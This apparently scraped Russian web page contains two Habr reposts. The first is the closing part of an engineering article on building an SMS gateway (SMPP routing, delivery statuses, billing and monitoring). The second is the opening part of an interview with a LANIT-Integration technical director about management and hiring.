                    Если клиент забыл или не захотел указывать при отправке идентификатор группы (а протокол SMPP в принципе это не поддерживает), то можно попытаться сгруппировать сообщения самостоятельно.
                    Группа сообщений характеризуется одинаковым или схожим текстом, одинаковым, для всех сообщений, именем отправителя и небольшим промежутком времени, в течение которого клиент передает трафик на сервер. По этим 3-м признакам можно, с вероятностью 99%, правильно сгруппировать СМСки.
                    Подстановки.
                    Еще одна приятная для клиента возможность. Правда, для ее реализации, сам клиент должен составить некоторые соответствия.
                    Например, если составить таблицу соответствия номера абонента и его ФИО, то клиент может добавить в текст СМС тег , а наша дружественная система заменит этот тег на конкретный текст ФИО. Тем самым клиенту не надо париться и генерить для каждого сообщения свой текст.
                    Ну вот и встретили СМСку. Что дальше?

                    Ждемс.
                    Или до первой звезды нельзя.


                    Далеко не всегда СМС уходят навстречу абоненту сразу, и чайку не попив. Надо уметь их задерживать по разным причинам. Вот некоторые из них:
                    • СМС отправлено с учетом часового пояса абонента. Если у абонента ночь и он сладко спит, то не стоит его будить — надо дождаться утра.
                    • День Рождения еще не скоро, а поздравительное СМС уже пришло к нам. Конечно мы не знаем когда у абонента День Рождения — об этом нам сообщает клиент в каком-нибудь параметре протокола (кроме SMPP).
                    • Клиент нажал у себя в ПО на кнопочку, а потом сказал “Ой…”. Если трафик приличный, то будет время нажать на кнопку “Пауза”, которая любезно предоставлена разработчиками нашего ПО в виде команды в протоколе и/или в виде кнопки в Личном Кабинете. Весь трафик этого клиента тут же останавливается и ждет дальнейших указаний.

                    Перекресток.
                    Или правила дорожного движения.


                    Прокладываем оптимальный маршрут. И делаем это непосредственно перед отправкой СМС оператору.
                    Заранее это делать не стоит, поскольку ситуация может меняться довольно быстро и часто. Бывают сетевые проблемы. Бывают большие очереди (под Новый Год, например). Бывает сбой оборудования у оператора/агрегатора. Или просто их сисадмин сошел с ума и обрезал все провода…
                    Задача эта уже ложится на модуль передатчика.
                    Надо позаботиться о том, чтобы у СМС была возможность достигнуть цели несколькими путями. Это особенно важно для транзакционного трафика. Но прежде надо узнать еще кое-чего.
                    Имя отправителя.
                    Имена отправителей, на момент написания статьи, должны проходить регистрацию у оператора и у агрегаторов, которые подключаются к этому оператору. А это значит, что если Имя прошло регистрацию только у одного оператора, то к другому можно и не пытаться отправлять СМС с таким же Именем — абоненту ничего не дойдет.
                    Кроме того, за каждое Имя надо платить каждому оператору отдельно.
                    Также, иногда, приходится подменять одно имя другим.
                    Стоимость.
                    Ее стоит определять непосредственно перед отправкой в сторону абонента.
                    Бывают такие ситуации, когда клиент решает распланировать все рассылки на год вперед (и это еще не предел). А за год может произойти все что угодно. В частности, может подешеветь нефть прямо повлияв на стоимость SMS и, если уже все посчитали, придется пересчитывать.
                    Стоимость, на данный момент, рассчитывается за отправленные СМС. Хотя несколько лет назад, расчет велся по доставленным сообщениям.
                    Стоимость также может определять маршрут. Если клиент жадный и хочет все подешевле, то выбрав дорогой маршрут можно уйти в серьезный минус.
                    Итак. У нас есть несколько соединений (каналов, шлюзов) с разными операторами/агрегаторами и есть СМС, которые уже пора отправлять.
                    По сути, выбор канала — это комплексная задача, в которой надо учитывать все параметры СМС и самого шлюза.
                    Естественно, не стоит отправлять в загруженный канал транзакционные СМС.
                    Нельзя отправлять СМС с именем отправителя, которое не прописано. Либо надо менять имя, либо выбирать канал где оно одобрено.
                    Если отправили СМС, но не получили из канала ответ о его получении — не спешите отправлять снова. Сначала надо узнать причины (не забываем писать логи). Возможно сообщение было успешно получено оператором и уже дошло до абонента.
                    Если отправили СМС, но не получили отчет о доставке, то, в зависимости от настроек клиента-отправителя на нашей платформе и типа трафика, надо попытаться отправить по другому доступному пути. Тут надо понимать, что отчет о доставке может прийти позже — возможно абонент просто едет в метро и его аппарат просто не может принять СМС.
                    Также надо предусмотреть возможность переотправки администратором в ручном режиме через другой канал.
                    При повторной отправке есть два неприятных момента. Во-первых стоимость сообщения увеличивается кратно количеству попыток. Кто возьмет на себя эти расходы — вопрос политический, но это должно гибко настраиваться на уровне системы. Во-вторых, абонент может получить несколько одинаковых СМС когда выйдет из метро.

                    Письма счастья.
                    Или судьба SMS.


                    Каждый клиент желает знать где находится СМС. И чем быстрее он это узнает — тем лучше для всех.
                    Задачка, на первый взгляд, несложная — получаем статус от оператора и передаем его клиенту, предварительно записав в БД. Но тут сталкиваемся с рядом проблем.
                    Часть статусов может по дороге потеряться. Связано это, в частности, с тем, что везде используется протокол SMPP и, практически, никто не повторяет передачу статусов если не было получено подтверждение о приеме (deliver_resp). Т.е. по разным причинам мы не получили статус и больше его не получим.
                    Может быть недоступным длительное время абонент, и если время, в течение которого идут попытки доставить СМС, достаточно большое, то статус мы увидим не скоро (если вообще увидим).
                    Бывает такое, когда сообщение состоит из множества частей, а память телефона уже заполнена и влезает, по факту, только часть большого сообщения. В этом случае мы получаем несколько статусов “доставлено” и остальные “ошибка доставки”.
                    Что делать? Можно “пнуть” оператора/агрегатора, чтобы пошли нам навстречу и дослали недостающие статусы. Это лучший вариант для учета, но не лучший для скорости и требует ручного вмешательства.
                    Можно собирать статистику “надежных” абонентов и устанавливать статусы самостоятельно. Т.е. если за продолжительное время абоненту отправлялись СМС, и в течение этого времени абонент их успешно получал, то, с большой вероятностью, он получит СМС и в этот раз. Это не лучший вариант для статистики, но лучший для скорости обработки и для клиента.
                    После получения статуса надо определить к какому сообщению он принадлежит. Для этого, на этапе отправки СМС, мы сохраняем идентификатор, полученный от оператора. Этот же идентификатор будет передан вместе со статусом.
                    Использовать наш ID здесь не получится (привет от SMPP), а так хотелось бы… Этот факт портит нам жизнь и скорострельность системы, ибо на запись “лишних” данных тоже уходят драгоценные ресурсы. Как вариант, можно использовать что-то вроде memcache, сохранять там связку наш_ID-их_ID, а после получения статуса эти данные просто удалять. Для истории и поиска глюков, лучше еще записывать в лог.
                    Разработчики SMPP, видимо поняв что они натворили, решили как-то сгладить свою вину и ничего лучше асинхронного режима не придумали. Поэтому, воспользовавшись такой возможностью, мы поднимаем еще один коннект на прием. В итоге можем одновременно и отправлять сообщения и получать по ним статусы. Ура, товарищи!
                    Немного порадовавшись мы понимаем, что радовались рано. Если тупо пулять СМС оператору, не глядя на количество отчетов о доставке, можно не заметить проблему и нарваться на массовую переотправку сообщений. Дело в том, что приняв СМС, оператор их аккуратно складывает в буфер, и не факт что тут же отправит абоненту. Если мы перестали получать статусы, или процент доставленных СМС резко упал, то стоит приостановить отправку до выяснения причин.
                    А вот с клиентами лучше так не поступать. Если не получили от него подтверждение приема отчета о доставке, то надо не полениться и отправить его еще раза 2-3. Если клиент упорно не хочет отчитываться о получении, то либо отчеты ему не нужны, либо у него техпроблемы. В любом случае надо приостановить передачу отчетов и поинтересоваться о причине такой ситуации.
                    Кроме финальных статусов, которые уже никогда не изменятся, неплохо было бы информировать клиента о промежуточных статусах, показывая текущую стадию обработки, местонахождение СМС. Никто не мешает, кроме стандартных отчетов, посылать свои. Далеко не всем клиентам это надо, поэтому выводим такую возможность в настройки и, по умолчанию, отключаем.
                    После того как получили очередной статус от оператора сразу добавляем его в агрегированную статистику, чтобы потом не тратить силы и время на сбор статы по всем СМСкам за какой-то интервал времени.
                    Особое мнение.
                    Я люблю хранимые процедуры в БД. Если ими грамотно пользоваться, то можно значительно упростить жизнь себе и другим соседям-программистам. Не секрет, что в MySQL такой вид программирования слабо развит, в отличие от Оракла, например. Ведется много споров по этому вопросу, но мое мнение такое: если вы не любите кошек, то вы просто не умеете их готовить.
                    По-хорошему, основную логику работы системы надо вынести в БД. Принял от клиента СМС-ку, записал ее в табличку базы и всё. Дальше за дело берутся процедурки внутри БД, вычисляют характеристики СМС, определяют маршрут, стоимость, проверяют на спам, фильтруют по спискам (черным, белым, серым, фиолетовым…). Тут же можно сразу заняться сбором статистики, используя триггеры. Результат всех манипуляций записывается в таблицу, из которой уже забираются данные для передачи боссу — сотовому оператору. В итоге, внешне-скриптовая писанина сводится к созданию приемника и передатчика, кои пишутся довольно просто (есть хороший стабильный модуль на Perl’е). Вся система, при этом, приобретает хорошую масштабируемость, что немаловажно если захочется нарастить мощность.
                    Кладовка
                    Или склад для клада
                    Если дела пойдут хорошо, то за год уже накопится приличный объем информации, которая в основной работе уже не нужна, но в которой надо будет иногда покопаться и что-то найти. Причем, по возможности, быстро.
                    Искать придется по любым параметрам, которые есть у СМС. Группировать и суммировать по большим периодам. Анализировать трафик по направлениям, операторам, словам в текстах, и т.д. и т.п.
                    Архив, по-хорошему, надо держать на отдельном сервере, чтобы не делить ресурсы с рабочими модулями системы.
                    Агрегировать данные или хранить их в «чистом» виде – это совсем другая история, не для этой статьи. На этот вопрос лучше ответят специалисты, работающие с поисковыми системами.
                    БИЛЛИНГ
                    Минимум что надо нам знать, это сколько нам должен клиент, и сколько мы должны операторам/агрегаторам.
                    Объемы, обычно, не маленькие, но точность от этого страдать не должна. Поэтому все поля, хранящие денежные цифры, должны иметь, как минимум, 4 знака после запятой (вроде уже писал об этом, но повтор не будет лишним). Также не забываем о том, что в MySQL для этого подходит только тип DECIMAL. Остальные типы содержат недопустимые погрешности, от которых будет кому-то грустно.
                    От чего зависит стоимость сообщения, точнее одного сегмента:
                    · страна
                    · оператор
                    · имя отправителя
                    · объем трафика (обычно за месяц)
                    · тип трафика (транзакционный, балк, прочее)
                    · шаблон сообщения (иногда одно и то же что и тип трафика)
                    Условия могут использоваться как все сразу, выборочно, так и отдельно.
                    Т.к. далеко не все видят будущее, поэтому мало кто знает какое количество и по каким ценам получится по итогам месяца. В связи с этим, надо готовиться к пересчету месячного трафика в начале каждого месяца. Такие расчеты обязательно будут между нами и оператором, и выборочно между нами и клиентом.
                    Удобнее считать, конечно же, по агрегированной статистике, т.к. эти данные будут содержать только нужную информацию, объем которой относительно небольшой. Агрегировать данные надо по всем параметрам, от которых зависит цена.
                    Справочник по ценам, в обязательном порядке, должен иметь историю изменений. Причем совершенно не обязательно для этого создавать отдельную таблицу, достаточно добавить поле для даты начала действия цены. Благодаря этому вы всегда можете пересчитать суммы задним числом за любой период времени.

                    Система расчета баланса клиента



                    В связи с пересчетами возникает необходимость корректировать баланс клиента, что лучше делать отдельными записями, а не просто перезаписью конкретного числа.
                    Вообще, баланс – это несколько таблиц, а не одно поле. Если баланс будет хранится в БД в виде одного числа, то, в случае возникновения вопросов типа «почему тут 10 а не 25», концов днем с огнем не сыщешь.
                    Поэтому создаем таблицу где будут храниться все изменения баланса (финансовые события), кроме расхода по трафику, и при каждой записи также будем хранить состояние баланса до и после финсобытия.
                    Рядышком создаем табличку с перечнем возможных финсобытий, т.к. этот список не фиксированный и будет периодически изменяться. Вот краткий список того, что точно в нем будет:
                    · Пополнение счета, платеж
                    o Банковский перевод
                    o Электронный платеж
                    · Расход по трафику
                    · Корректировка, ежемесячный пересчет
                    · Списание за платное имя
                    · Бонус, пополнение баланса для тестовых СМС
                    Расход по трафику складываем в свою табличку, группируем данные, как минимум, по дням и по аккаунтам. Можно также разбить еще по именам отправителя, по именованным рассылкам и т.п., но это уже скажется на производительности. Нам надо быстро суммировать все данные за текущий день чтобы понять имеет право клиент отправить очередное сообщение или уже его денежки закончились.
                    Как Вы, наверное, догадались, суммировать расходы и доходы за прошедшие дни надо 1 раз в сутки, ибо они уже не изменятся и нет смысла тратить на это вычислительные ресурсы при каждом запросе текущего баланса.
                    Здесь, вроде, всё.
                    Сигнализация
                    Дом, напичканный всякой всячиной, настоятельно рекомендуется защитить охранной сигнализацией чтобы знать, что происходит если вас нет дома.
                    Мы тоже поставим датчики на все «двери» и «окна». Это важно, если мы хотим, чтобы наш сервис был на высоком уровне.
                    Есть множество уже готовых программных комплексов для мониторинга, об этом на Хабре, в частности, уже много чего понаписано. Надо лишь грамотно написать и внедрить «датчики», которые, кстати, можно и нужно определить еще на стадии проектирования системы.
                    Кроме собственной системы проверять стоит и самих операторов, ибо они тоже грешат, у них тоже бывают «глюки», кривые настройки, которые мешают прохождению трафика. Как вариант, можно использовать модем(ы), вставить в него симку и смотреть как доходят СМС и с какой скоростью. А заодно проверяем правильность отчетов о доставке. С помощью модема можно сэмулировать поломку абонентского аппарата и посмотреть на реакцию оператора, иногда она забавная…
                    Разумеется, система мониторинга должна работать четко и стабильно и иметь уровень безотказной работы не менее 99,999%. Иначе смысла в ней нет, если она будет ломаться чаще чем сама платформа.
                    Бумажки
                    В любой системе, работающей с деньгами и людьми, необходимо формировать всякого рода договоры, отчеты, акты, счета и т.п.
                    Можно использовать для этого любое стороннее ПО, если лень писать свое (а писать придется мнооггооо…). Но, так или иначе, формировать циферки придется своими силами, т.к. внешние программки ничего не знают о нашей системе и едва ли когда-нибудь узнают.
                    Что нас тут ждет:
                    · Точность цен фактическая – 3-4 знака после запятой. В документах – не более 2-х. То, что округляется и не попадает в документы, хоть и меньше копейки, но по итогам года может создать большую проблему.
                    · Если клиент платит сразу несколькими способами (нал, безнал, Webmoney…), то счет-фактуру, например, надо формировать только на суммы, поступившие через банковский перевод. Кроме того, в счет-фактуре должна быть цифра реального расхода денег, пришедших по безналу, а не всей суммы платежа. Поэтому итоговые расходы надо делить между платежами, их типами, и уже на основании этой информации формировать документы.
                    · Периодически надо изменять логику работы и дополнять уже подписанные с клиентами договоры приложениями и дополнительными соглашениями, т.к. операторы постоянно меняют цены и другие условия. Также выходят новые законы, которые также отражаются на логике и на взаимоотношениях с клиентами.
                    Я не бухгалтер, поэтому не отслеживаю изменения в правилах создания документов. В процессе проектирования обязательно проконсультируйтесь со специалистами в этой области чтобы учесть все текущие нововведения.

                    За статью отдельное спасибо Алексею Зиновьеву. Компания Тера смс (terasms.ru)

                    Original source: habrahabr.ru (comments, light).

                    https://habrahabr.ru/post/338346/


                    Метки:  

                    Это заблуждение, что технический директор занимается исключительно техническими вопросами

                    Вторник, 26 Сентября 2017 г. 13:07 + в цитатник
                    Tatami сегодня в 13:07 Управление

                    Это заблуждение, что технический директор занимается исключительно техническими вопросами

                      Интеграция — исторически одно из основных направлений ЛАНИТ и значительная часть бизнеса группы. Компания «ЛАНИТ-Интеграция» специализируется на ИТ-консалтинге, проектировании, внедрении и поддержке инфраструктурных решений. Сегодня в ней трудится более 500 человек. Мы хотим познакомить вас с одним из первых лиц «ЛАНИТ-Интеграции» — ее техническим директором Андреем Бедранем. Специально для Хабра он рассказал о своих задачах, принципах управления, о команде технической службы, о том, как подбирает в нее людей, о проектных лайфхаках.



                      О компании «ЛАНИТ-Интеграция»
                      «ЛАНИТ-Интеграция» образована в 2008 году на базе департамента сетевой интеграции компании ЛАНИТ. Фактически мы 20 лет на рынке. За это время наши специалисты реализовали множество проектов разной сложности и масштаба. Например, создали информационно-техническую систему и мультимедийный комплекс Корпоративного университета Сбербанка России, ИТ-инфраструктуру олимпийского комплекса «Лужники» и развлекательного парка «Зарядье», оснастили инженерной и ИТ-инфраструктурой ансамбль зданий Московской городской Думы. О создании телекоммуникационной, мультимедийной и ИТ-инфраструктуры стадиона «Открытие Арена» и модернизации метеорологической сети Росгидромета мы писали на Хабре здесь и здесь.  

                      До сих пор «ЛАНИТ-Интеграция» фокусировалась на решении задач крупных компаний. Однако сегодня она предлагает законченные технические решения и проекты «под ключ» также малому и среднему бизнесу.
                       

                      В составе решений для «Лужников» есть современная система коллективного приема IP-телевидения, позволяющая, например, транслировать сигналы с ТВ-камер, снимающих происходящее на футбольном поле, на ТВ-панели в ресторанах и SKY-боксах.


                      О выборе профессии


                      В седьмом классе у меня появился свой первый компьютер: я начал программировать и изучать железо. Обслуживал и апгрейдил его тоже я. Это предопределило мои интересы и выбор профессии.

                      Надо сказать, что мои родители были далеки от позиции «пусть ребенок сначала поймет, к чему душа лежит, а уж потом...». Думаю, они были правы. Мне кажется, что такое наставничество никак не помогает выбрать востребованную на рынке профессию, которая будет хорошо оплачиваться.



                      Помимо увлечения компьютером, важную роль в моем профессиональном становлении сыграл спорт. Вот уж где без труда ничего не достичь. Я с третьего класса играю в волейбол. В какой-то момент встал выбор между спортом и другими сферами, но случилась травма колена, которую нельзя было оперировать в силу возраста. О спортивной карьере можно было забыть. Хотя сейчас думаю, что я и так бы выбрал путь «белого воротничка»: все-таки спорт — очень рискованная история.

                      В 1999 году я закончил школу с медалью и стал выбирать вуз. Тогда самым высокооплачиваемым направлением в ИТ была информационная безопасность, поэтому я решил сразу поступать на факультет информационной безопасности Российского государственного гуманитарного университета. Поступил с первой попытки и окончил его с красным дипломом.



                      Работал всегда по специальности. В моей биографии не было такого, что сначала пошел на завод мастером третьего разряда, а потом — настраивать ИТ-оборудование. Начинал карьеру на втором курсе университета в консалтинговых компаниях. До прихода в ЛАНИТ были «Техносерв» и «Энвижн».

                      Об амбициях


                      У меня никогда не было амбиций строить карьеру вертикально. Из компании в компанию переходил по приглашению, специально ничего не искал. Все получалось как-то органично: рос профессионально, появлялось новое, интересное с точки зрения функционала предложение, переходил. В ЛАНИТ я пришел в 2011 году на должность начальника отдела информационной безопасности, и снова спорт сыграл здесь не последнюю роль.

                      У меня в жизни есть три страсти: русский бильярд, шахматы и волейбол. Благодаря последнему я знаю практически всю волейбольную Москву. В ЛАНИТ была когда-то волейбольная команда. Мы пересекались в спортзале, а потом разговорились, и вот как-то так получилось, что я пришел в ЛАНИТ работать.


                      Вообще я сразу понял, что ЛАНИТ — это в первую очередь платформа для развития. Здесь есть все возможности: финансы, клиентские базы (пожалуйста, продавай), вендорские пакеты, низкий уровень бюрократизации. Все карты на руках. В других компаниях, где я работал, было не так. Там либо тебя ставят в процесс, либо дадут что-то, что будет востребовано год-полтора.

                      В ЛАНИТ, конечно, есть объем работы, который ты должен выполнять обязательно, но никто тебя по рукам не ударит, если ты проявишь инициативу. Есть опытные наставники. С руководством всегда можно обсудить свои идеи и, если убедишь, получить поддержку. Например, на базе демо-ЦОД мы создали новейший презентационный зал, где можно демонстрировать ИТ-продукты и тестировать решения. Еще пример — по нашей инициативе в техническом департаменте «ЛАНИТ-Интеграции» был создан отдел маркетинга, которому были переданы функции продвижения услуг и продуктов всей компании.

                      О бизнесе компании


                      Основной бизнес «ЛАНИТ-Интеграции» — это классика ИТ-жанра: нам нужно собрать из уникальных компонентов инфраструктурные решения, которые помогают заказчикам справляться с бизнес-задачами.

                      Мы должны хорошо ориентироваться в продуктах, которые предлагают производители, и иметь возможность все быстро протестировать, понять, подходит ли для заказчика тот или иной компонент, и включить его в собственное комплексное решение. Затем нам надо все спроектировать, реализовать, чтобы обязательно работало, и взять на сервисное обслуживание.

                      Из года в год мы эволюционируем. Сейчас в нашем портфеле много гранд-проектов, где мы выступаем как генподрядчик (например, оснащение стадиона "Открытие Арена"). Это значит, что мы контролируем все: стройку, разработку, сервис. Поэтому у нас многое меняется: риск-менеджмент, бюджетирование, логистика. Последняя, например, стала быстрой: не недели и дни, а буквально часы, когда что-то срочно требуется на объекте. В классическом ИТ-бизнесе такого нет.

                      Для стадиона «Открытие Арена» мы спроектировали и развернули универсальное техническое решение, которое включает систему бесперебойного электропитания кроссовых помещений и центр обработки данных, структурированную кабельную систему, IP-телевидение, систему телефонной связи, мультисервисную сеть передачи данных, информационную безопасность и цифровые вывески для видеорекламы и информирования.

                      За три года в дополнение к основному бизнесу «ЛАНИТ-Интеграции» у нас появились и новые направления. Например,разработка, нишевые продукты в сфере консалтинга. Это также сервис «Эксперт по требованию», в рамках которого наши специалисты помогают решать неспецифические ИТ-задачи, или услуга «Ничего лишнего», позволяющая сократить издержки на владение ИТ-инфраструктурой.

                      Мы даже можем обучать: «Курс молодого бойца» как раз для того, чтобы специалисты (один-два человека) компании-заказчика могли получить новые навыки и знания непосредственно на практике. Мы предлагаем им поработать стажерами на наших проектах, где можно увидеть новое оборудование, узнать нюансы его внедрения и т.д. С нами можно организовать «Безопасный переезд». Каждые несколько недель мы предлагаем новый продукт (сервис), хотя это и не ядро бизнеса нашей компании.

                      О роли технического директора


                      Это заблуждение, что технический директор занимается исключительно техническими вопросами. Сейчас невозможно оставаться востребованным специалистом без умения видеть потенциал для своего дела в смежных направлениях. Всегда надо оглядываться по сторонам. Конечно, тяжело это делать, когда компания — лидер на рынке, потому что первый задает направление. И все же я не готов ассоциировать себя с бизнесом, у которого все было. Мы же не в США, Японии, Германии или Китае, где и вправду многое было. В РФ зрелость рынка ИТ-интеграции — примерно 15 лет. Мы только палку-копалку осваиваем. Поэтому надо понимать, что мир сложнее и шире.

                      Раньше главная наша задача была что-то внедрить, поэтому и технический блок воспринимался как «внедренцы». Сейчас нельзя быть техническим директором и заниматься только технологиями. Это не приносит бизнес-результата. Технологии, которые мы внедряем, должны помогать заказчику экономить или зарабатывать в перспективе лет на пять-семь. Если ты не можешь внятно рассказать, почему необходимо делать именно так и именно это, у тебя никто ничего не купит. Тебе нечего будет внедрять. Ты можешь сколько угодно хорошо разбираться в настройках коммутаторов, но их надо сначала продать. Сейчас даже руководители технических отделов не имеют права не интересоваться деньгами, стратегиями продаж, маржинальностью, конкурентными особенностями своих решений.

                      Ежегодно с рынка уходят по два средних игрока. Не потому, что рынка стало сильно меньше, а потому что сильно изменились требования к людям, к ведению бизнеса и проектов, отношению к заказчику.


                      Источник
                      Медиацентр площадью более 7,8 тыс. кв. м — ИТ-основа «Зарядья»: он объединяет в себе все аттракционы, всю ИТ-инфраструктуру парка.

                      О маркетинге, который продает


                      Без маркетинга сейчас невозможно что-то продавать в принципе. У тебя должна быть очень красивая формальная часть: презентация, коммерческое предложение, сайт, мероприятия. Но контент — наша ответственность. Никакой маркетолог не напишет за технического специалиста правильные предложения заказчикам с пониманием специфики и требований.

                      Источник

                      В компаниях, где я раньше работал, с маркетингом была иная ситуация. Это такая формальная шкурка была, что, возможно, было продиктовано временем. Сейчас продающий маркетинг может быть только у тех, кто генерит продукт, занимается разработкой, внедряет и общается с вендорами. Поэтому маркетинг у нас находится в техническом департаменте и курирую его я.

                      Первая цель нашего маркетинга — выйти на рынок малого и среднего бизнеса (СМБ), на котором ЛАНИТ слабо представлен, и на нем успешно продавать. С лета 2016 года мы постоянно разрабатываем продукты для СМБ. Мы продаем то, что нужно заказчику, что снимает его головную боль.  

                      Вторая цель маркетинга в «ЛАНИТ-Интеграции» — упростить заказчикам доступ к нам в тех отраслях, где мы не были представлены.

                      О команде и профессиональном выгорании


                      В нашей сфере ценность специалиста определяется тем, что у него достаточно опыта для того, чтобы понимать, как не надо делать. «Как надо» знают практически все, только не получается успешный опыт тиражировать на все проекты. Всегда есть побочные эффекты. Только тогда, когда у тебя есть специалисты, которые точно знают, как не надо делать, есть шансы реализовать успешный проект.

                      В «ЛАНИТ-Интеграции» много людей с опытом. Собиралась наша команда эволюционно, поскольку компания выросла из департамента сетевой интеграции ЛАНИТ.


                      Мы четко понимаем, что у нас должна быть команда, компетенции которой нам будут нужны в краткосрочной перспективе — сегодня-завтра. Если какая-то компетенция завтра не нужна, то людей необходимо перепрофилировать, чтобы они могли сохранять личную востребованность на проектах.

                      Важно еще понимать, что в ИТ методологически все продумано либо для разработки (кодинг), либо для тех, кто поддерживает системы, — чинит и администрирует. Там классная научная база. Посередине — как раз там, где работаем мы, — гринфилд. Если к этому добавить отечественную специфику ведения бизнеса (проблемы в закупках, сроках, тендерах, юридических отношениях с подрядчиками), то у всех компаний получаются личные рецепты выживания. Рецепт нашего успеха — команда. Наш технический блок — несколько сотен человек. Их эффективность очень высока: мы выполняем свыше двухсот проектов в год. Во многом благодаря результатам именно «ЛАНИТ-Интеграции» группа ЛАНИТ несколько лет подряд — №1 по объему выручки среди компаний, оказывающих ИТ-услуги в России (по данным IDC).


                      Мы создали информационно-техническую систему и мультимедийный комплекс Корпоративного университета Сбербанка.

                      Чтобы быть эффективными, людям важно знать, зачем каждый из них что-то делает и как это надо делать. Когда человек не знает, он додумывает, и не факт, что все придуманное будет именно таким, каким ты ждешь. Недавно мы ввели проведение полугодовых и годовых встреч. Я стараюсь встречаться со всеми, говорить об успехах на проектах, давать обратную связь.

                      Это позволяет избежать такого явления как профессиональное выгорание, которое наступает, когда ты долго живешь в рамках одного ТЗ без планов и идей. Когда ты очертил себе какой-то кружочек, в рамках которого хочешь стать лучшим, и становишься им. Поначалу чувствуешь гордость, а потом постепенно, сам того не замечая, сдуваешься.

                      О принципах управления


                      Первый кит нашей системы управления — прозрачность целей. Важно, чтобы все понимали, куда мы идем, и чтобы я понимал свою команду.

                      Второй принцип управления – требовательность. Нельзя поставить задачу и потом про нее забыть. Нельзя нарисовать план проекта и выкинуть его в корзину – надо исполнять. Причем в обе стороны. Иначе ничего не получится.

                      Третий постулат – делегировать все, что можно. Если ты не будешь делегировать, то сотрудники не будут расти, а сам ты мало что сможешь сделать. Нужно управлять командой, которая может очень многое делать автономно. Такая команда может появиться, если ты доверяешь и тебе доверяют. Если этот механизм не выстроен, то ты сам постоянно будешь везде бегать и за всеми все сам доделывать. Это нереально.

                      О лайфхаках на проектах


                      Наш лайфхак, который работает для проектов любого масштаба в инженерном блоке, — постоянная синхронизация с командой в отношении целей, задач и последствий. Почему-то считается (это я видел неоднократно), что в отношении инженеров это не обязательно. Сказал инженеру сделать «чего-то», и инженер пошел и сделал. Понять не могу, почему так. Ведь не все настолько хорошо стандартизовано, чтобы можно было бы забыть о коммуникации. Но на практике часто именно так и происходит: ну что там инженер? Пошел и настроил… Пошел и спроектировал… Это не работает.

                      Источник

                      Я считаю, что нормальный человек, без отклонений, не хочет априори делать свою работу плохо. Он хочет делать ровно или хорошо.

                      Так вот, чтобы человек сделал хорошо, ему нужно объяснить, что такое этот проект и зачем это все. Поэтому мы стараемся показывать людям причинно-следственные связи: «Мы делаем этот проект. Ожидания заказчика таковы. Поэтому сроки таковы. Условия договора такие. Денег мы зарабатываем вот столько». Это обязательно нужно знать инженеру. В процентах, в числах. Что мы зарабатываем на проекте, что это не сизифов труд.

                      Об ошибках


                      Первая ошибка любого управленца, и я тоже это прошел, – судить людей по себе. Я считал, что если я могу, то и все остальные могут. Причем лучше. Это оказалось в корне неверно: все люди разные, у всех свои плюсы и минусы, разные сильные и слабые стороны. Нужно стараться соприкасаться с человеком плюсами, сотрудничать с ним в отношении его возможностей.

                      Более того, я все время рассматривал человека в комплексе: «Ну наверное, этот человек на столько-то баллов. С ним не получится». Сейчас пересмотрел это, и стало легче и проще. Подходишь к яблоне – фокусируйся на ее плодах, а не на красоте дерева. Наверное, есть деревья красивее, чем яблоня, но яблоки есть только у нее. Если нужны яблоки, то по ним и смотри. Это очень сложно. В этом и есть мудрость руководителя – понять, что человек может. И, конечно, смотри, чего человек хочет. Раньше мне это было не интересно. Это тоже была ошибка. Но я  тогда больших позиций не занимал, чтобы очень много людей от этого пострадало [Смеется]. Теперь фокусируюсь на возможностях.

                      Что может и хочет человек — это примерно пополам. Понять, чего хочет сотрудник, крайне важно. У всех свой список. Деньги, конечно, там есть. Они в пятерке, но явно не на первом месте. Кому-то нужен комфорт, кому-то – общение с коллегами, кому-то —  заниматься интересной специальностью или работать с каким-то оборудованием, кому-то – ездить в командировки почаще, потому что он хочет посмотреть страну и мир. Если понять это и дать человеку в обмен на то, чем он может быть полезен компании, все от этого только выиграют. Здесь, конечно, нужно потратить много сил, но для ключевых сотрудников это сделать просто обязательно.


                      О компромисах


                      Не позволяю нелояльности к компании и неуважения к коллегам. Пришел в коллектив — будь добр со всеми вежливо общаться, коммуницировать по бизнесу, работу стараться делать по максимуму.

                      Любить свою компанию – это вообще must have. Если человек плохо относится к компании, то зачем он в ней работает? Получается, что либо он не может найти другого места, либо он к себе плохо относится. Оба варианта плохи. Что недовольный — работой или собой — человек может транслировать в мир? Как он будет на проектах работать? Ответы очевидны.

                      О работе в удовольствие


                      Мы требуем от сотрудников результата, роста, усилий, длительных командировок. Придется работать там, где тяжело. Попробуй поработай один день в серверной! Там очень шумно и холодно, если кто не знает. Это нелегкий труд, но и велико удовольствие от того, что смог.


                      Монтаж мультимедийных систем в «Зарядье»

                      Важно, если у человека внутри что-то горит, если человек не спокоен по жизни. Причем не важна тема. Он может вообще ничего не знать об интеграторском бизнесе. Например, пришел к нам из нефтегазовой отрасли, но там он был руководителем проекта, и у него получалось. Если у человека много увлечений, активная жизненная позиция, то такой человек нам нужен. Мы его энергетику подхватим, научим, и он будет очень полезен. Он заразит этой энергетикой коллег и окружающих. Вот именно эту штуку я стараюсь на собеседованиях выявить.

                      О собеседованиях


                      Мое собеседование — один из последних рубежей при приеме на работу. До него доходят хорошие кандидаты, которые получили одобрение HR и руководителей технических вертикалей. Знания кандидатов проверили начальники отделов. Моя задача – определить уровень самомотивации и управляемости. Очень важны жизненные установки человека. В первую очередь, где он совершенствуется: пусть он вино пробует или интересуется кино. Да чем угодно! Важно, как он это делает год от года, его динамика.

                      Например, очень многие бегают: на дорожке, в парках, еще где-то. Вот человек говорит на собеседовании: «Я бегаю».

                      Ну это же здорово. Не важно, когда ты это делаешь — утром или вечером, но явно ты себя заставляешь. Это точно труд. Как спортсмен, я это знаю. Спрашиваю кандидата: «А как ты бегаешь? У тебя есть показатели, время?» И люди сразу делятся на две категории: первая бегает – для удовольствия, вторая – на результат.

                      Для человека, который просто так бегает, важен процесс, а не результат. Ты начинаешь его спрашивать про книги, работу, и он тебе примерно все в той же парадигме рассказывает. Это неплохой человек, бывает — просто замечательный. Такие люди, безусловно, нужны. Но для работы в проектах мы отдаем предпочтение тем, кто стремится во всем работать на результат.

                      Об управляемости


                      Очень важное качество кандидата – управляемость. Это когда человеку сказали что-то сделать, а он не согласен, считает по-другому, не видит в этом смысла (может быть миллиард причин!), но он идет и делает. Он, конечно, может высказать свои соображения, его выслушают, но сделать все равно надо.

